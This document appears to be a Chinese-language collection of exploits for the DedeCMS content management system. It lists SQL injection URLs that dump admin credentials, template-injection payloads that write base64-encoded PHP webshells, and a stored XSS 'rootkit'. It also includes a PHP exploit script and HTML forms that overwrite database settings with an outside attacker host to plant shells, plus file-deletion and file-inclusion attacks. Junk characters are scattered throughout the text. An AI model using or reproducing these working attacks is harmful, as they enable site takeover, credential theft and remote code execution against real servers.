dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
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DedeCms v5.6 嵌入恶意代码执行漏洞
: @5 O8 b# T" ]( z注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
  b2 l5 Q. U; W5 ~6 n. n( c6 e0 Ba{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
/ e, w" f: s0 C$ a% Y9 m生成x.php 密码xiao，直接生成一句话。
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Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7

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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
http://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
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% V5 G) d7 f; N1 `: ?( CDEDECMS 全版本 gotopage变量XSS漏洞
) m2 i0 f* f, s1 X3 |1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
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1 F* ^" B3 @0 M+ F, Y2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda

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$ v- x( p* b  a1 c0 D1 V6 Nhttp://v57.demo.dedecms.com/dede/login.php


, \2 r$ s. \, l8 S0 n5 fcolor=Red]DeDeCMS(织梦)变量覆盖getshell
9 w8 X4 r4 P* Z8 [/ e#!usr/bin/php -w
& r/ E' d% R3 ~  \- s& H% l<?php
% u- m9 u6 F/ F5 K  @error_reporting(E_ERROR);
+ ~' V# m- s) T0 p' L& lset_time_limit(0);
print_r('
$ D5 h" x$ B' C$ q+ _, aDEDEcms Variable Coverage
4 {; d/ R8 u$ j5 Q/ g- x6 T5 rExploit Author: www.heixiaozi.comwww.webvul.com
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echo "\r\n";
* m0 T$ X% @5 W9 R3 D8 T- k! cif($argv[2]==null){
print_r('
+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
' C4 N8 w) K; b) e% g+ VExample:
php '.$argv[0].' www.site.com 1 old
+---------------------------------------------------------------------------+
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3 d+ Z4 w- E3 Z8 n" f+ A% Oexit;
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$url=$argv[1];
$aid=$argv[2];
* L3 G/ [( `5 S! e7 ~0 N, N$path=$argv[3];
' ]1 {4 D* H8 i! e  _/ I/ M$exp=Getshell($url,$aid,$path);
  @  S9 T3 h- D% E5 Cif (strpos($exp,"OK")>12){
echo "
9 ]' s6 N4 Y7 tExploit Success \n";
6 D& q! s) ]* _1 }if($aid==1)echo "
Shell:".$url."/$path/data/cache/fuck.php\n" ;

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if($aid==2)echo "
% C3 \. Y  s+ ]1 o; [3 U6 @Shell:".$url."/$path/fuck.php\n" ;

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) `( f: l' n5 x- [if($aid==3)echo "
9 ?& x( _/ W1 ]# p' {9 tShell:".$url."/$path/plus/fuck.php\n";
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echo "
6 Q) o/ B) X0 W' m5 E1 `Exploit Failed \n";
}
function Getshell($url,$aid,$path){
$id=$aid;
8 ~' V" X' e; d7 s  h7 ?$host=$url;
- m1 q6 x; K9 {8 N. d$port="80";
$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
# j, u. g6 J) {7 E+ V$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
+ {) W# h6 f2 w) y$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
$ s: j$ i$ X/ g7 Q! K! a/ y$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
- m+ h1 k6 K3 k//$data .= "Accept-Encoding: gzip,deflate\r\n";
- H& u' [2 h! F& m- I$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
& S! i) u. }2 [1 V1 |! S* G$data .= "Connection: keep-alive\r\n";
9 R( x0 q. Z; U; X; _$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
7 _% s2 b" g. Z( l( p  w$data .= $content."\r\n";
$ock=fsockopen($host,$port);
$ @6 v3 I+ E! H1 J; pif (!$ock) {
echo "
No response from ".$host."\n";
}
4 `; }- m2 d) E+ K& n% C2 ?5 Rfwrite($ock,$data);
( x" I8 i8 O9 z4 c2 K$ `5 ewhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
}
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DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
3 \/ t0 S  ?/ Z8 h/ P/ H! bhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台


此漏洞的前提是必须得到后台路径才能实现


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Dedecms织梦 标签远程文件写入漏洞
/ y5 \; Z" p; X! X前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

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' p  t( A$ ]( }$ g再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
2 U5 C, l6 a# ]; [7 ]<form action="" method="post" name="QuickSearch" id="QuickSearch">
$ g( u: y. X- q( A% r6 C<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
( e! W3 w: C  G) J- O<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
; R* l$ u3 ~( `6 S9 i. L1 n2 r& I; K<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
% H4 _. S+ |; v0 Y$ W<input type="submit" value="提交" name="QuickSearchBtn"><br />
2 }& M; b' o. ?. ^! [$ h' m+ k</form>
<script>
function addaction()
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* s, G# B- i" L/ u6 ^document.QuickSearch.action=document.QuickSearch.doaction.value;
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</script>

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DedeCms v5.6 嵌入恶意代码执行漏洞
: {, k  A' a6 b8 e注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
" j9 R! D$ I0 l& W* F" kDedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
% l* `  @* h+ g5 v$ X- U9 t@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
# B' {& r7 x8 m% s# h" T& K5 N- I+ C@fclose($fp);
{/dede:name}
7 \2 I  }# t- G2 z! s; }# M2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
5 u0 s2 @* h5 @+ A<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
+ s7 x( ?0 e# W2 [) K# V<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
( c7 b% H4 k% h- R<h3 class="meTitle"><strong>修改文章</strong></h3>
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% K! ^: @3 K, N1 {  Z# w1 z<div class="postForm">
<label>标题：</label>
* I  [$ ?1 V# _5 Y9 B& H<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>

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<label>标签TAG：</label>
# h/ X% M4 `& ?; O- c* D8 D& x5 s<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
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( E1 z$ ?6 s& X% y( x& G3 Q<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

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<label>隶属栏目：</label>
4 l' d$ A  |' C( s- ?<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
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<label>我的分类：</label>
! ~# ?+ `+ W& U! T<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
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# t/ J& ^* X* \3 J<label>信息摘要：</label>
4 |, m" O# y! r* ^7 x- O% e3 ~7 ]<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
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4 a( a/ _( x( V# q5 t$ Z1 T& B; Q<label>缩略图：</label>
, t7 O1 m  ^# G<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>
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" I! u; d) v  V' m+ F# ~0 \<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
6 V3 ^+ |+ _* |8 [& ?* L<input type='text' name='dede_addonfields'
. j1 B- M' X/ A/ n' Y8 \value="templet,htmltext;">（这里构造）
5 R9 ~* p) n6 s</div>

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( b/ f+ {. c0 |( ~( e<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>

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<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
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' p% Z" p0 [6 l7 B  f  ~<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
8 M* l3 j/ u: k" l, c: J4 s4 P/ h<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />
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$ y) c1 q  A8 `<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
) t8 T8 ^& k% P8 A</div>
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</div>
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</form>


3 U% F8 h  T% {- z# o! G9 ^提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
# o* }/ k# i1 F3 y0 q假设刚刚修改的文章的aid为2，则我们只需要访问：
0 s. j5 s* t. Z& c' }3 Qhttp://127.0.0.1/dede/plus/view.php?aid=2
/ k% C* X" m- J- p, d/ X: e即可以在plus目录下生成webshell：1.php
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DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
6 E9 ?2 I2 E/ R* q# C: \Gif89a{dede:field name='toby57' runphp='yes'}
' J7 S/ E% d2 j3 H# A) M0 Fphpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
( e8 S( u" W0 U<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
5 R" D' V4 m9 f0 A* n<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
  v* O2 i6 y% {2 H+ K发表文章，然后构造修改表单如下：
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<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
0 p4 y* }4 k7 r" y" B<input type="hidden" name="dopost" value="save" />
9 G/ V2 p6 `( M<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
& U5 w) o9 S2 |' {: M+ D<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
3 @: V( s; p4 N' {  u9 a" Y; O<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
/ m) D9 P" u/ B/ s: d8 N( ?<select name='typeid' size='1'>
" [, V* T  W/ Y/ T0 A# d<option value='1' class='option3' selected=''>Test</option>
2 i; N7 s' l3 z5 [+ O<select name='mtypesid' size='1'>
8 w, N4 ?9 m3 E: v  s<option value='0' selected>请选择分类...</option>
0 W+ D. R7 D. C7 H, J<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
6 k, i* D: u) t3 W! r: M- _<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
& r: ?7 X, \4 b' p6 u  q<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>
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: j8 J( Q, y, {) b& T4 D4 s5 h织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif



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7 I" V5 g: u. \7 Z织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
9 l1 i3 n3 ]. P( thttp://www.test.com/plus/carbuya ... urn&code=../../




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DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
3 r6 E7 L& G7 O% w7 V密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
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织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
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织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
+ j$ Y: V/ T% `+ B7 w<html>
<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
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" i* c: w0 B; Y) X# E6 n; g<body style="FONT-SIZE: 9pt">
# o8 L# x6 p, R& Z. K; w---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
) M  V: D, }/ q0 @4 ]<input type='hidden' name='activepath' value='/data/cache/' />
. [# m' y& A$ T<input type='hidden' name='cfg_basedir' value='../../' />
; X! g9 v4 u/ }<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
! r9 D0 G9 M. t* L+ y; @' p<input type='hidden' name='cfg_softtype' value='php' />
2 E# c; C, V8 E$ p, ]& n' w% Z<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
+ D, u* z/ t$ f0 \5 O<input type='hidden' name='job' value='upload' />
1 ~0 h% P% O3 i5 G! r<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
- a2 t3 ^% [& L+ f/ D8 Y<input type='submit' name='sb1' value='确定' />
</form>
6 u* x# N7 s+ t) q7 c' c  s<br />It's just a exp for the bug of Dedecms V55...<br />
Need register_globals = on...<br />
# D0 e; v' f" N. P8 V' |# U% j* u4 OFun the game,get a webshell at /data/cache/fly.php...<br />
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</html>
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织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
4 j- E! o0 f5 N. k利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
可看见错误信息
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0 `  R2 f/ T  J9 k1 L; ]/ m2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是


1 Y) I, h$ g! v( x4 G<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>
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; z2 ~3 Y2 r9 A7 \$ {& Y* k/ r按确定后的看到第2步骤的信息表示文件木马上传成功.
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织梦(DedeCms)plus/infosearch.php 文件注入漏洞
5 X' {* F4 w( V  }' whttp://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*